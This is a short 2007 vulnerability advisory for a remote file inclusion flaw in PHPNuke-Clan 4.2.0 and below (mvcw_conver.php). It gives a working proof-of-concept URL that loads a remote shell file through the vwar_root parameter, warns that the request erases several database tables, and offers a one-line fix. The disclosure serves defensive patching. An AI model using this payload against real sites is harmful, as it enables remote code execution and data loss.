PHPNuke-Clan versions 4.2.0 and below suffer from a remote file inclusion vulnerability in mvcw_conver.php.
d902c7d6f4d26a071f434fa42d3846f7e2b0c228356933296a24626c68f374fb
\#'#/
(-.-)
--------------------------oOO---(_)---OOo-------------------------
| PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion |
| coded by DNX |
------------------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.phpnuke-clan.net
[!] Detected: 11.08.2007
[!] Reported: 11.08.2007
[!] Remote: yes
[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL
[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php
[!] PoC:
- http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]
[!] Example:
- http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?
[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
vwar_scores and vwar_screen in the database
[!] Solution: No update from vendor till now
[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
- replace:
if ($GPC['step'] == 1)
{
// clean tables
- with:
if ($GPC['step'] == 1)
{
$vwar_root = "./../";
// clean tables